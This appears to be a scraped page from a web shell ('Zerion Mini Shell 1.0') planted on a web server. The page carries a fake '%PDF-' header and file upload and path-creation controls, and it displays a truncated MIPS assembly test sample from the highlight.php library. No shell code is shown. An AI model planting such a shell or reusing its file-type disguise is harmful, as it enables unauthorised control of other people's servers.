%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/vendor/scrivo/highlight.php/test/detect/mipsasm/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/vendor/scrivo/highlight.php/test/detect/mipsasm/default.txt

.text
.global AckermannFunc

# Preconditions:
#   1st parameter ($a0) m
#   2nd parameter ($a1) n
# Postconditions:
#   result in ($v0) = value of A(m,n)

AckermannFunc:
            addi    $sp,   $sp, -8
            sw      $s0, 4($sp)
            sw      $ra, 0($sp)

            # move the parameter registers to temporary  - no, only when nec.

LABEL_IF:   bne     $a0, $zero, LABEL_ELSE_IF

            addi    $v0, $a1, 1

            # jump to LABEL_DONE
            j LABEL_DONE

Zerion Mini Shell 1.0